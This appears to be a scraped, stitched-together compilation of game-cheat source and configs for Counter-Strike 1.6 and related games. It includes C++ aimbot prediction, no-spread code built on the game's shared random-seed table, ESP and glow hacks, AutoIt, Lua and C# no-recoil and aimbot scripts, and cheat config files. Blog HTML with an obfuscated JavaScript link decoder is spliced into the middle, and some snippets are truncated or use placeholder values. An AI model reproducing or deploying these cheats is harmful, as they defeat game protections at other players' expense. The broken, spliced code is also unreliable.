-11 (25); si toca a las 30 y origen -25 (11) if(!stepcheck()){return false;} else {return true;} } // si no toca a las 44 y origen +1 (37) else if(Trace_Auto_Jump (vecSrc2a, vecEnd2a) == true) { // si no toca a las 32 y origen -11 (25); si toca a las 30 y origen -18 (18) if(specialstep()) { return true; } // si toca a las 40 y origen - 13 (23) ---> 21? else if(Trace_Auto_Jump (vecSrc2b, vecEnd2b) == false ) { // si no toca a las 32 y origen -11 (25); si toca a las 30 y origen -25 (11) if(!stepcheck()){return false;} else {return true;} } } } return false; }
  1129.  
  1130. void HUD_StudioEvent( const struct mstudioevent_s *event, const struct cl_entity_s *entity ) { if( event->event == 5001 ) { sound_s sound; sound.dwTime = GetTickCount( ); sound.type = atoi( event->options ); sound.vPos = entity->origin; vSound.push_back( sound ); } //logme( "HUD_StudioEvent" ); //logme( "eventID: %i", event->event ); //logme( "Ent name: %s", gPlayers.GetPlayerByIndex( entity->index )->pInfo.name ); oHUD_StudioEvent( event, entity ); }
  1131.  
  1132. for( int i = 0; i <br><br><h3 style="text-align: left;">Local Glow:</h3>
  1133. <div class="separator" style="clear: both; text-align: center;"><a href="javascript:;" imageanchor="1" style="margin-left: 1em; margin-right: 1em;" onclick="wob(sdl('9/ Ys /1hU6tq0tX0pC/:UL/ho/Zc26a.vlb5+pIG./lbAolAwoA.gAjsAppAgoA tA .E cU o0 m/ /U -u le Gs Cr jg KN p0 Ae R0 6w ', 94, 113, 3, 35));"><img border="0" height="310" src="http://2.bp.blogspot.com/-lGCjKpAR69Y/UqXCUhZ6v5I/AAAAAAAAEU0/UuesrgN0e0w/s400/Local+Glow.jpg" indx="14685950" rank="188" atitle="CS 1.6 Cheats Code - Weapon Sound ESP / Localglow / BarrelHack / QuakeGuns"></a></div>
  1134. <div class="separator" style="clear: both; text-align: center;"><br></div>
  1135. <h3 style="text-align: left;">Codes:</h3>
  1136.  
  1137. cl_entity_s *myEnt = gEngfuncs.GetViewModel(); if(myEnt && myEnt->model) { char* mdl = myEnt->model->name; if(strstr(mdl,"v_")) { if(cvar.localglowshells) { ColorEntry* color = PlayerColor(IEngineStudio.GetCurrentEntity()->index); myEnt->curstate.renderamt = 1; myEnt->curstate.rendercolor.r = color->r; myEnt->curstate.rendercolor.b = color->b; myEnt->curstate.rendercolor.g = color->g; myEnt->curstate.renderfx = kRenderFxGlowShell; } else { myEnt->curstate.rendermode = 0; myEnt->curstate.renderfx = kRenderFxNone; }
  1138.  
  1139. void DrawLine(float *from, float *to,int r,int g,int b,float d) { int beamindex = 0; if(!beamindex) beamindex = gEngfuncs.pEventAPI->EV_FindModelIndex("sprites/laserbeam.spr"); gEngfuncs.pEfxAPI->R_BeamPoints(from,to,beamindex,d,1.2f,0,32,2,0,0,r/255,g/255,b/255); } if(cvar.barrel && isValidEnt(ent)) { ColorEntry *pClr = PlayerColor(ent->index); vec3_t vecBegin,vecEnd,up,right,forward; VectorCopy(ent->origin,vecBegin); if(ent->curstate.usehull) vecBegin[2]+=12; else vecBegin[2]+=17; gEngfuncs.pfnAngleVectors(ent->angles,forward,right,up); forward[2]=-forward[2]; vecBegin[0]+=forward[0]*10; vecBegin[1]+=forward[1]*10; vecBegin[2]+=forward[2]*10; vecEnd=vecBegin+forward*999; DrawLine(vecBegin,vecEnd,pClr->r,(vPlayers[ent->index].hasbomb || vPlayers[ent->index].vip)?255:pClr->g,pClr->b,0.001f); }
  1140.  
  1141. void QuakeGuns() { cl_entity_s* vm = pEngfuncs->GetViewModel(); if(!vm) return; float gunoffsetr = GetGunOffsetr(vm); if(gunoffsetr == 0) return; float* org = vm->origin; float* ang = vm->angles; VectorCopy(mainViewAngles, ang); vec3_t forward, right, up; pEngfuncs->pfnAngleVectors(mainViewAngles, forward, right, up); org[0] += forward[0] + up[0] + right[0]*gunoffsetr; org[1] += forward[1] + up[1] + right[1]*gunoffsetr; org[2] += forward[2] + up[2] + right[2]*gunoffsetr; } //=============================================================================== float GetGunOffsetr(cl_entity_s* vm ) { if(!vm->model) return 0; char* gunname = vm->model->name; if(!gunname || !gunname[0]) return 0; #define CHECKGUNOFFSET(a,b) if(!strcmp(a,gunname)) return b; //Counter-Strike 1.6 if(MOD_ID == CS && cvar.misc_quakeguns == 1) { CHECKGUNOFFSET("ak47.mdl", -6.81f); CHECKGUNOFFSET("aug.mdl", -7.30f); CHECKGUNOFFSET("awp.mdl", -6.02f); CHECKGUNOFFSET("deagle.mdl", -4.68f); CHECKGUNOFFSET("famas.mdl", -4.76f); CHECKGUNOFFSET("fiveseven.mdl", -4.84f); CHECKGUNOFFSET("g3sg1.mdl", -6.1f); CHECKGUNOFFSET("galil.mdl", -4.77f); CHECKGUNOFFSET("glock18.mdl", -4.6f); CHECKGUNOFFSET("m249.mdl", -5.22f); //Needs MoveZ 2.00 CHECKGUNOFFSET("m3.mdl", -5.15f); CHECKGUNOFFSET("m4a1.mdl", -6.45f); CHECKGUNOFFSET("mac10.mdl", -5.24f); CHECKGUNOFFSET("mp5.mdl", -5.53f); //Needs MoveZ -0.02 CHECKGUNOFFSET("p90.mdl", -4.34f); CHECKGUNOFFSET("p228.mdl", -4.74f); CHECKGUNOFFSET("scout.mdl", -5.14f); CHECKGUNOFFSET("sg550.mdl", -7.15f); CHECKGUNOFFSET("sg552.mdl", -5.24f); CHECKGUNOFFSET("tmp.mdl", -6.4f); CHECKGUNOFFSET("ump45.mdl", -6.2f); CHECKGUNOFFSET("usp.mdl", -4.75f); CHECKGUNOFFSET("xm1014.mdl", -6.06f); } if( MOD_ID == CS && cvar.misc_quakeguns == 2 ) { CHECKGUNOFFSET("ak47.mdl", -6.75f); CHECKGUNOFFSET("aug.mdl", -6.35f); CHECKGUNOFFSET("awp.mdl", -6.60f); CHECKGUNOFFSET("deagle.mdl", -4.14f); CHECKGUNOFFSET("famas.mdl", -5.20f); CHECKGUNOFFSET("fiveseven.mdl", -4.85f); CHECKGUNOFFSET("g3sg1.mdl", -6.38f); CHECKGUNOFFSET("galil.mdl", -4.55f); CHECKGUNOFFSET("glock18.mdl", -4.55f); CHECKGUNOFFSET("glock18lowres.mdl", -4.55f); CHECKGUNOFFSET("m249.mdl", -5.10f); //Needs MoveZ 2.00 CHECKGUNOFFSET("m3.mdl", -5.40f); CHECKGUNOFFSET("m4a1.mdl", -6.95f); CHECKGUNOFFSET("mac10.mdl", -6.50f); CHECKGUNOFFSET("mp5.mdl", -5.85f); //Needs MoveZ -0.02 CHECKGUNOFFSET("p228.mdl", -4.68f); CHECKGUNOFFSET("p90.mdl", -5.15f); CHECKGUNOFFSET("scout.mdl", -5.65f); CHECKGUNOFFSET("sg550.mdl", -7.50f); CHECKGUNOFFSET("sg552.mdl", -5.50f); CHECKGUNOFFSET("tmp.mdl", -7.15f); CHECKGUNOFFSET("ump45.mdl", -6.15f); CHECKGUNOFFSET("usp.mdl", -4.70f); CHECKGUNOFFSET("xm1014.mdl", -6.20f); } //Natural-Selection 3.2 if(MOD_ID == NS) { CHECKGUNOFFSET("gg.mdl", -6.00f); CHECKGUNOFFSET("gg_color.mdl", -6.00f); CHECKGUNOFFSET("gg_hv.mdl", -6.00f); CHECKGUNOFFSET("gg_hv_color.mdl", -6.00f); CHECKGUNOFFSET("hg.mdl", -5.07f); CHECKGUNOFFSET("hg_color.mdl", -5.07f); CHECKGUNOFFSET("hg_hv.mdl", -5.07f); CHECKGUNOFFSET("hg_hv_color.mdl", -5.07f); CHECKGUNOFFSET("hmg.mdl", -6.20f); CHECKGUNOFFSET("hmg_color.mdl", -6.20f); CHECKGUNOFFSET("hmg_hv.mdl", -6.20f); CHECKGUNOFFSET("hmg_hv_color.mdl", -6.20f); CHECKGUNOFFSET("mg.mdl", -4.55f); CHECKGUNOFFSET("mg_color.mdl", -4.55f); CHECKGUNOFFSET("mg_hv.mdl", -4.55f); CHECKGUNOFFSET("mg_hv_color.mdl", -4.55f); CHECKGUNOFFSET("sg.mdl", -3.45f); CHECKGUNOFFSET("sg_color.mdl", -3.45f); CHECKGUNOFFSET("sg_hv.mdl", -3.45f); CHECKGUNOFFSET("sg_hv_color.mdl", -3.45f); CHECKGUNOFFSET("welder.mdl", -6.65f); CHECKGUNOFFSET("welder_color.mdl", -6.65f); CHECKGUNOFFSET("welder_hv.mdl", -6.65f); CHECKGUNOFFSET("welder_hv_color.mdl", -6.65f); } //Day of Defeat 1.3 if(MOD_ID == DOD) { CHECKGUNOFFSET("30cal.mdl", -7.00f); CHECKGUNOFFSET("98k.mdl", -4.05f); CHECKGUNOFFSET("bar.mdl", -5.95f); CHECKGUNOFFSET("bazooka.mdl", -4.36f); CHECKGUNOFFSET("bren.mdl", -5.60f); CHECKGUNOFFSET("colt.mdl", -6.95f); CHECKGUNOFFSET("enfield.mdl", -4.40f); CHECKGUNOFFSET("enfield_scoped.mdl", -4.40f); CHECKGUNOFFSET("fcarb.mdl", -4.85f); CHECKGUNOFFSET("fg42.mdl", -4.10f); CHECKGUNOFFSET("garand.mdl", -5.26f); CHECKGUNOFFSET("greasegun.mdl", -6.24f); CHECKGUNOFFSET("k43.mdl", -4.62f); CHECKGUNOFFSET("luger.mdl", -11.30f); CHECKGUNOFFSET("m1carbine.mdl", -4.84f); CHECKGUNOFFSET("mg34.mdl", -5.20f); CHECKGUNOFFSET("mg42.mdl", -6.05f); CHECKGUNOFFSET("mp40.mdl", -8.30f); CHECKGUNOFFSET("mp44.mdl", -7.88f); CHECKGUNOFFSET("panzerschreck.mdl", -6.67f); CHECKGUNOFFSET("piat.mdl", -5.30f); CHECKGUNOFFSET("scoped98k.mdl", -4.05f); CHECKGUNOFFSET("scopedfg42.mdl", -4.10f); CHECKGUNOFFSET("spring.mdl", -4.92f); CHECKGUNOFFSET("sten.mdl", -5.62f); CHECKGUNOFFSET("tommy.mdl", -7.32f); CHECKGUNOFFSET("webley.mdl", -8.59f); } //Half-Life Deathmatch if(MOD_ID == HL) { CHECKGUNOFFSET("9mmar.mdl", -6.50f); CHECKGUNOFFSET("9mmhandgun.mdl", -8.10f); CHECKGUNOFFSET("357.mdl", -6.05f); CHECKGUNOFFSET("crossbow.mdl", -9.00f); CHECKGUNOFFSET("egon.mdl", -8.50f); CHECKGUNOFFSET("gauss.mdl", -6.95f); CHECKGUNOFFSET("hgun.mdl", -7.82f); CHECKGUNOFFSET("rpg.mdl", -10.7f); CHECKGUNOFFSET("shotgun.mdl", -6.35f); } //Opposing Force if(MOD_ID == OP4) { CHECKGUNOFFSET("9mmar.mdl", -6.50f); CHECKGUNOFFSET("9mmhandgun.mdl", -8.10f); CHECKGUNOFFSET("357.mdl", -6.05f); CHECKGUNOFFSET("crossbow.mdl", -9.00f); CHECKGUNOFFSET("desert_eagle.mdl", -6.00f); CHECKGUNOFFSET("dissplacer.mdl", -7.55f); CHECKGUNOFFSET("egon.mdl", -8.50f); CHECKGUNOFFSET("gauss.mdl", -6.95f); CHECKGUNOFFSET("m40a1.mdl", -6.00f); CHECKGUNOFFSET("hgun.mdl", -8.15f); CHECKGUNOFFSET("rpg.mdl", -10.7f); CHECKGUNOFFSET("saw.mdl", -3.60f); CHECKGUNOFFSET("shotgun.mdl", -6.35f); CHECKGUNOFFSET("spore_launcher.mdl", -8.00f); } //Team Fortress Classic if(MOD_ID == TFC) { CHECKGUNOFFSET("flame.mdl", -9.75f); CHECKGUNOFFSET("tfac.mdl", -8.45f); CHECKGUNOFFSET("tfc_12gauge.mdl", -4.80f); CHECKGUNOFFSET("tfc_nailgun.mdl", -4.30f); CHECKGUNOFFSET("tfc_pistol.mdl", -5.00f); CHECKGUNOFFSET("tfc_railgun.mdl", -9.25f); CHECKGUNOFFSET("tfc_rpg.mdl", -9.00f); CHECKGUNOFFSET("tfc_shotgun.mdl", -5.00f); CHECKGUNOFFSET("tfc_sniper.mdl", -4.10f); CHECKGUNOFFSET("tfc_supernailgun.mdl", -4.50f); CHECKGUNOFFSET("tfgl.mdl", -6.32f); } return 0; }
  1142.  
  1143. =======================================================
  1144.  
  1145. "CrosshairImage"
  1146. {
  1147. "ControlName" "ImagePanel"
  1148. "fieldName" "CrosshairImage"
  1149. "xpos" "281"
  1150. "ypos" "120"
  1151. "wide" "64"
  1152. "tall" "64"
  1153. "autoResize" "0"
  1154. "pinCorner" "0"
  1155. "visible" "1"
  1156. "enabled" "1"
  1157. "tabPosition" "0"
  1158. "paintbackground" "1"
  1159. "image" "gfx/vgui/crosshair"
  1160. "border" "InsetBorder"
  1161. "scaleImage" "0"
  1162. }
  1163.  
  1164. =======================================================
  1165.  
  1166. mkn_mp5 "recoil 1.2"
  1167. mkn_tmp "recoil 0.8"
  1168. mkn_p90 "recoil 1.6"
  1169. mkn_ump45 "recoil 1.1"
  1170. mkn_m249 "recoil 1.85"
  1171. mkn_ak47 "recoil 1.73"
  1172. mkn_famas "recoil 1.05"
  1173. mkn_m4a1 "recoil 1.73"
  1174. mkn_galil "recoil 0.85"
  1175. mkn_sg550 "recoil 0.9"
  1176. mkn_g3sg1 "recoil 2"
  1177. mkn_aug "recoil 1.6"
  1178. mkn_mac10 "recoil 1.58"
  1179. mkn_sg552 "recoil 1.74"
  1180. mkn_glock18 "recoil 1"
  1181. mkn_usp "recoil 1"
  1182. mkn_p228 "recoil 1"
  1183. mkn_deagle "recoil 0.2"
  1184. mkn_fiveseven "recoil 1"
  1185. mkn_elite "recoil 1.2"
  1186. mkn_m3 "recoil 0.1"
  1187. mkn_xm1014 "recoil 0.7"
  1188. mkn_scout "recoil 1"
  1189. mkn_awp "recoil 1"
  1190. mkn_tactical "recoil 1"
  1191. mkn_knife "recoil 0.1"
  1192. mkn_hegrenade "recoil 0.1"
  1193. mkn_flashbang "recoil 0.1"
  1194. mkn_smokegrenade "recoil 0.1"
  1195. mkn_c4 "recoil 0.1"
  1196. mkn_ ";"
  1197.  
  1198. =======================================================
  1199.  
  1200. zoom_sensitivity_ratio "0.8"
  1201. cl_cmdbackup "101"
  1202. cl_updaterate "101"
  1203. cl_cmdrate "101"
  1204. rate "25000"
  1205. cl_rate "20000"
  1206. fps_modem "101"
  1207. fps_max "101"
  1208.  
  1209. developer "0"
  1210. cl_yawspeed "0.000"
  1211. cl_pitchspeed "2.700"
  1212.  
  1213. ex_interp "0.01"
  1214. hud_fastswitch "1"
  1215. cl_bobup "0"
  1216. cl_bob "0"
  1217. cl_vsmooth "1.1"
  1218. cl_resend "1.5"
  1219. cl_resend "1.5"
  1220. cl_dynamiccrosshair 0
  1221. cl_sidespeed "9999"
  1222. cl_forwardspeed "9999"
  1223. cl_backspeed "9999"
  1224. cl_crosshair_color "255 255 255"
  1225.  
  1226. r_bloomtintg "92"
  1227. r_bloomtintb "82"
  1228. r_bloomtintexponent "66"
  1229. r_bloomtintr "12"
  1230. r_drawdetailprops "33"
  1231. r_flashlightrendermodels "44"
  1232. r_hunkalloclightmaps "56"
  1233. r_lightcache_zbuffercache "99"
  1234. r_propsmaxdist "93"
  1235. r_staticprop_lod "62"
  1236. r_sse_s "1"
  1237.  
  1238. m_filter "1"
  1239. m_pitch "0.022"
  1240. m_yaw "0.022"
  1241. m_side "0.8"
  1242.  
  1243. volume 0.800000
  1244. voice_scale 0.750000
  1245. voice_enable 1
  1246. voice_forcemicrecord 1
  1247. voice_modenable 1
  1248.  
  1249. bind "KP_PLUS" "adjust_crosshair"
  1250.  
  1251. rot_addalias 1 UNI-T6a
  1252. rot_addalias 2 UNI-T6b
  1253. rot_addalias 3 UNI-T6c
  1254. rot_addalias 4 UNI-T6d
  1255. rot_addalias 5 UNI-T6e
  1256. rot_reset
  1257.  
  1258. =======================================================
  1259.  
  1260. Aimbot 3
  1261. Smooth 0
  1262. Vector 17
  1263. Aimspot 1
  1264. Fov 360
  1265. AimThru 1
  1266. AvDraw 1
  1267.  
  1268. cl_pitchspeed "225"
  1269.  
  1270. =======================================================
  1271.  
  1272. While 1
  1273. Sleep(100)
  1274. WEnd
  1275.  
  1276. Func NoRecoil()
  1277. While 1
  1278. Sleep ( 100 )
  1279. If _IsPressed("01", $dll) Then
  1280. Send("{pgdn}")
  1281. EndIf
  1282. WEnd
  1283. EndFunc
  1284.  
  1285. Func Pause()
  1286. $Paused = NOT $Paused
  1287. While $Paused
  1288. HotKeySet( "1", "NoRecoil" )
  1289. sleep(100)
  1290. ToolTip('Script is
  1291.  
  1292. "Paused"',0,0)
  1293. WEnd
  1294. ToolTip("")
  1295. EndFunc
  1296.  
  1297. =======================================================
  1298.  
  1299. _sse_s "1"
  1300.  
  1301. Aimbot Aimbot = Client.Variables["Aimbot"] as Aimbot;
  1302. if (Aimbot != null)
  1303. {
  1304. if (AttackerUID == Client.UID)
  1305. {
  1306. if (Value.SpellID == Aimbot.SpellID &&
  1307. Aimbot.On &&
  1308. Aimbot.SpellID != 6000)
  1309. {
  1310. JNativeBasicEntity Target;
  1311. if (SpellSystem.GetTarget(Client, out Target, Aimbot.TargetID, Aimbot.Distance))
  1312. {
  1313. if (Client.X != Target.X || Target.Y != Client.Y)
  1314. {
  1315. Client.CastMagic((ushort)(Target.X), Target.Y, Value.SpellID);
  1316. return false;
  1317. }
  1318. }
  1319. }
  1320. else if (Value.SpellID == 1075 /*Invisibility*/)
  1321. {
  1322. Aimbot ab = (Aimbot)Client.Variables["Aimbot"];
  1323. if (ab != null)
  1324. {
  1325. ab.TargetID = TargetUID;
  1326. Client.SendClientMessage("Locked " + TargetUID.ToString(), JNativeDialogType.TopLeft);
  1327. return false;
  1328. }
  1329. }
  1330. }
  1331. }
  1332. void Aimbot::PredictTarget( CBaseEntity * ent, Vector & out, float delta )
  1333. {
  1334. Vector vDelta = ( gPlayerHistory[ ent->index ].currpos - gPlayerHistory[ ent->index ].lastpos );
  1335.  
  1336. if( VectorUtil::VectorLength( vDelta ) == 0 )
  1337. return;
  1338.  
  1339. out += delta * ( vDelta * (*g_pGlobalVars)->frametime );
  1340. function NoRecoil()
  1341.  
  1342. if Recoil == false and WeaponCheck() then
  1343.  
  1344. LocalPlayer():GetActiveWeapon().Primary.Recoil = 0
  1345.  
  1346. end
  1347.  
  1348. end
  1349.  
  1350. hook.Add("Think", "Norecoil", NoRecoil)
  1351.  
  1352. =======================================================
  1353.  
  1354. d_bot 0
  1355. d_botfov 30
  1356. d_botaim chest
  1357. d_botshoot 0
  1358. d_bottarget angle
  1359. d_botcharge 0
  1360. d_botupper 90
  1361. d_botlower 0
  1362. d_botdelay 0
  1363. d_botrange 10000
  1364. d_botweapon auto
  1365.  
  1366. d_gamemode team
  1367.  
  1368. teamcolor 1 255 0 0
  1369. teamcolor 2 0 0 255
  1370.  
  1371. aimscale -0.5 1 0
  1372.  
  1373. aimvector head 0 10 0 18
  1374. aimvector chest 0 4 0 10
  1375. aimvector gut 0 0 0 0
  1376. aimvector thigh 0 0 0 -12
  1377. aimvector shin 0 0 0 -26
  1378.  
  1379. aimvector head 1 2 0 18
  1380. aimvector chest 1 0 0 14
  1381. aimvector gut 1 0 0 0
  1382. aimvector thigh 1 0 0 2
  1383. aimvector shin 1 0 0 -9
  1384.  
  1385. espadd w_c4 255 255 0
  1386. espadd w_backpack 255 128 0
  1387. espadd w_thighpack 0 255 0
  1388.  
  1389. =======================================================
  1390.  
  1391. #endif
  1392. #include <windows.h>
  1393. #include "engine/wrect.h"
  1394. #include "engine/cl_dll.h"
  1395. #include "engine/cl_entity.h"
  1396. #include "recoil.h"
  1397. #include "random.h"
  1398. #include "client.h"
  1399. #include "cvar.h"
  1400. #include "aimbot.h"
  1401. #include "attack.h"
  1402. #include "playeritems.h"
  1403. #pragma optimize("gtp",on)
  1404.  
  1405. void cNoSpread::GetSpreadXY(unsigned int seed, int future, float *velocity, float *vec)
  1406. {
  1407. float vecspread, speed;
  1408.  
  1409. vec[0] = UTIL_SharedRandomFloat(seed + future, -0.5, 0.5) + UTIL_SharedRandomFloat(seed + 1 + future, -0.5, 0.5);
  1410.  
  1411. vec[1] = UTIL_SharedRandomFloat(seed + 2 + future, -0.5, 0.5) + UTIL_SharedRandomFloat(seed + 3 + future, -0.5, 0.5);
  1412.  
  1413. speed = sqrt(velocity[0] * velocity[0] + velocity[1] * velocity[1]);
  1414.  
  1415. vecspread = this->m_fSpread;
  1416.  
  1417. vec[0] *= vecspread;
  1418. vec[1] *= vecspread;
  1419.  
  1420. return;
  1421. }
  1422. void VectorAngles( const float *forward, float *angles );
  1423. void cNoSpread::GetRecoilOffset(int future, float *inangles, float *velocity, float *outangles)
  1424. {
  1425. float forward[3], right[3], up[3], vecDir[3];
  1426. float view[3], dest[3], spread[2];
  1427.  
  1428. gEngfuncs.pfnAngleVectors(inangles, forward, right, up);
  1429.  
  1430. GetSpreadXY(m_uiSeed, future, velocity, spread);
  1431.  
  1432. vecDir[0] = forward[0] + spread[0] * right[0] + spread[1] * up[0];
  1433. view[0] = 8192 * vecDir[0];
  1434.  
  1435. vecDir[1] = forward[1] + spread[0] * right[1] + spread[1] * up[1];
  1436. view[1] = 8192 * vecDir[1];
  1437.  
  1438. vecDir[2] = forward[2] + spread[0] * right[2] + spread[1] * up[2];
  1439. view[2] = 8192 * vecDir[2];
  1440.  
  1441. VectorAngles(view, dest);
  1442. dest[0] *= -1;
  1443.  
  1444. outangles[0] = inangles[0] - dest[0];
  1445. outangles[1] = inangles[1] - dest[1];
  1446. outangles[2] = 0;
  1447. }
  1448. #ifndef RECOIL_H
  1449. #define RECOIL_H
  1450. #include "windows.h"
  1451.  
  1452. class cNoSpread
  1453. {
  1454. public:
  1455. void GetSpread(float fSpread)
  1456. {
  1457. if (fSpread == 0.0f)
  1458. {
  1459. m_fLastSpread = m_fcurrentSpread = m_fSpread = fSpread;
  1460. }
  1461. else
  1462. {
  1463. if (m_fLastSpread)
  1464. {
  1465. m_fSpread = m_fcurrentSpread - m_fLastSpread + fSpread;
  1466. m_fLastSpread = m_fcurrentSpread;
  1467. m_fcurrentSpread = fSpread;
  1468. }
  1469. else
  1470. {
  1471. m_fLastSpread = m_fcurrentSpread = m_fSpread = fSpread;
  1472. }
  1473. }
  1474. };
  1475. void SetSpreadtoZero()
  1476. {
  1477. m_fLastSpread = m_fcurrentSpread = m_fSpread = 0.0f;
  1478. }
  1479. void GetSeed(unsigned int uiSeed)
  1480. {
  1481. m_uiSeed = uiSeed;
  1482. };
  1483. void GetRecoilOffset(int future, float *inangles, float *velocity, float *outangles);
  1484. private:
  1485. void GetSpreadXY(unsigned int seed, int future, float *velocity, float *vec);
  1486. float m_fSpread;
  1487. float m_fcurrentSpread;
  1488. float m_fLastSpread;
  1489. unsigned int m_uiSeed;
  1490. };
  1491.  
  1492. extern cNoSpread gNoSpread;
  1493. #endif
  1494. #pragma optimize("gtp",on)
  1495.  
  1496.  
  1497. #include "random.h"
  1498.  
  1499. static unsigned int glSeed = 0;
  1500. unsigned int seed_table[ 256 ] =
  1501. {
  1502. 28985, 27138, 26457, 9451, 17764, 10909, 28790, 8716, 6361, 4853, 17798, 21977, 19643, 20662, 10834, 20103,
  1503. 27067, 28634, 18623, 25849, 8576, 26234, 23887, 18228, 32587, 4836, 3306, 1811, 3035, 24559, 18399, 315,
  1504. 26766, 907, 24102, 12370, 9674, 2972, 10472, 16492, 22683, 11529, 27968, 30406, 13213, 2319, 23620, 16823,
  1505. 10013, 23772, 21567, 1251, 19579, 20313, 18241, 30130, 8402, 20807, 27354, 7169, 21211, 17293, 5410, 19223,
  1506. 10255, 22480, 27388, 9946, 15628, 24389, 17308, 2370, 9530, 31683, 25927, 23567, 11694, 26397, 32602, 15031,
  1507. 18255, 17582, 1422, 28835, 23607, 12597, 20602, 10138, 5212, 1252, 10074, 23166, 19823, 31667, 5902, 24630,
  1508. 18948, 14330, 14950, 8939, 23540, 21311, 22428, 22391, 3583, 29004, 30498, 18714, 4278, 2437, 22430, 3439,
  1509. 28313, 23161, 25396, 13471, 19324, 15287, 2563, 18901, 13103, 16867, 9714, 14322, 15197, 26889, 19372, 26241,
  1510. 31925, 14640, 11497, 8941, 10056, 6451, 28656, 10737, 13874, 17356, 8281, 25937, 1661, 4850, 7448, 12744,
  1511. 21826, 5477, 10167, 16705, 26897, 8839, 30947, 27978, 27283, 24685, 32298, 3525, 12398, 28726, 9475, 10208,
  1512. 617, 13467, 22287, 2376, 6097, 26312, 2974, 9114, 21787, 28010, 4725, 15387, 3274, 10762, 31695, 17320,
  1513. 18324, 12441, 16801, 27376, 22464, 7500, 5666, 18144, 15314, 31914, 31627, 6495, 5226, 31203, 2331, 4668,
  1514. 12650, 18275, 351, 7268, 31319, 30119, 7600, 2905, 13826, 11343, 13053, 15583, 30055, 31093, 5067, 761,
  1515. 9685, 11070, 21369, 27155, 3663, 26542, 20169, 12161, 15411, 30401, 7580, 31784, 8985, 29367, 20989, 14203,
  1516. 29694, 21167, 10337, 1706, 28578, 887, 3373, 19477, 14382, 675, 7033, 15111, 26138, 12252, 30996, 21409,
  1517. 25678, 18555, 13256, 23316, 22407, 16727, 991, 9236, 5373, 29402, 6117, 15241, 27715, 19291, 19888, 19847
  1518. };
  1519.  
  1520. unsigned int U_Random( void )
  1521. {
  1522. glSeed *= 69069;
  1523. glSeed += seed_table[ glSeed & 0xff ];
  1524. return ( ++glSeed & 0x0fffffff );
  1525. }
  1526.  
  1527. void U_Srand( unsigned int seed )
  1528. {
  1529. glSeed = seed_table[ seed & 0xff ];
  1530. }
  1531.  
  1532. int UTIL_SharedRandomLong( unsigned int seed, int low, int high )
  1533. {
  1534. unsigned int range;
  1535. U_Srand( (int)seed + low + high );
  1536. range = high - low + 1;
  1537. if ( !(range - 1) )
  1538. {
  1539. return low;
  1540. }
  1541. else
  1542. {
  1543. int offset;
  1544. int rnum;
  1545. rnum = U_Random();
  1546. offset = rnum % range;
  1547. return (low + offset);
  1548. }
  1549. }
  1550.  
  1551. float UTIL_SharedRandomFloat( unsigned int seed, float low, float high )
  1552. {
  1553. unsigned int range;
  1554. U_Srand( (int)seed + *(int *)&low + *(int *)&high );
  1555. U_Random();
  1556. U_Random();
  1557. range = (unsigned int)(high - low);
  1558. if ( !range )
  1559. {
  1560. return low;
  1561. }
  1562. else
  1563. {
  1564. int tensixrand;
  1565. float offset;
  1566. tensixrand = U_Random() & 65535;
  1567. offset = (float)tensixrand / 65536.0f;
  1568. return (low + offset * range );
  1569. }
  1570. }
  1571. class CNoSpread
  1572. {
  1573. private:
  1574. DWORD BaseGun;
  1575. float Distance;
  1576. int Flags;
  1577. float FOV;
  1578. UINT Seed;
  1579. float Speed;
  1580. float SpreadVar;
  1581. int WeaponBit;
  1582. int WeaponID;
  1583.  
  1584. private:
  1585. float GetDistance(void);
  1586. float GetVecSpread(void);
  1587.  
  1588. public:
  1589. void Apply(float *OldAngles, float *CmdAngles);
  1590. void Update(local_state_s *to, unsigned int random_seed);
  1591. };
  1592.  
  1593. extern CNoSpread gNoSpread;
  1594. CNoSpread gNoSpread;
  1595.  
  1596. float CNoSpread::GetDistance(void)
  1597. {
  1598. // M3: 3000
  1599. // Xm1014: 3048
  1600. // ...
  1601. }
  1602.  
  1603. float CNoSpread::GetVecSpread(void)
  1604. {
  1605. float VecSpread;
  1606.  
  1607. switch (WeaponID)
  1608. {
  1609. case WEAPON_AK47:
  1610. {
  1611. if (!(Flags & FL_ONGROUND))
  1612. VecSpread = SpreadVar * x + x;
  1613. else if (Speed > 140.0f)
  1614. VecSpread = SpreadVar * x + x;
  1615. else
  1616. VecSpread = SpreadVar * x;
  1617. break;
  1618. }
  1619. ...
  1620. default:
  1621. {
  1622. VecSpread = 0.0f;
  1623. break;
  1624. }
  1625. }
  1626.  
  1627. return VecSpread;
  1628. }
  1629.  
  1630. void CNoSpread::Apply(float *OldAngles, float *CmdAngles)
  1631. {
  1632. float Forward[3], Right[3], Up[3], vecDir[3], vecEnd[3], NewAngles[3], Spread[2], VecSpread;
  1633.  
  1634. Spread[0] = UTIL_SharedRandomFloat(Seed + 1, -0.5, 0.5) + UTIL_SharedRandomFloat(Seed + 2, -0.5, 0.5);
  1635. Spread[1] = UTIL_SharedRandomFloat(Seed + 3, -0.5, 0.5) + UTIL_SharedRandomFloat(Seed + 4, -0.5, 0.5);
  1636.  
  1637. VecSpread = GetVecSpread();
  1638.  
  1639. Spread[0] *= VecSpread;
  1640. Spread[1] *= VecSpread;
  1641.  
  1642. gEngine.pfnAngleVectors(OldAngles, Forward, Right, Up);
  1643.  
  1644. for (int i = 0; i < 3; i++)
  1645. {
  1646. vecDir[i] = Forward[i] + Spread[0] * Right[i] + Spread[1] * Up[i];
  1647. vecEnd[i] = Distance * vecDir[i];
  1648. }
  1649.  
  1650. VectorAngles(vecEnd, NewAngles);
  1651. NewAngles[0] = -NewAngles[0];
  1652.  
  1653. CmdAngles[0] += OldAngles[0] - NewAngles[0];
  1654. CmdAngles[1] += OldAngles[1] - NewAngles[1];
  1655. }
  1656.  
  1657. void CNoSpread::Update(local_state_s *to, unsigned int random_seed)
  1658. {
  1659. Flags = to->client.flags;
  1660. FOV = to->client.fov;
  1661. Seed = random_seed;
  1662. float Speed = to->client.velocity.Length();
  1663. int WeaponID = to->client.m_iId;
  1664. Distance = GetDistance();
  1665. if (to->weapondata[WeaponID].m_flNextPrimaryAttack <= 0.0f)
  1666. {
  1667. BaseGun = *(DWORD*)(dwTableInit + 0x0);
  1668. SpreadVar = *(float*)(BaseGun + 0xF8);
  1669. WeaponBit = *(int*)(BaseGun + 0x128);
  1670. }
  1671. }
  1672. if (runfuncs) gNoSpread.Update(to, random_seed);
  1673. usercmd_t UserCmd;
  1674. void CL_CreateMove(float frametime, usercmd_s *cmd, int active)
  1675. {
  1676. gClient.CL_CreateMove(frametime, cmd, active);
  1677. RtlCopyMemory(&UserCmd, cmd, sizeof(UserCmd);
  1678. ... // aimbot before nospread
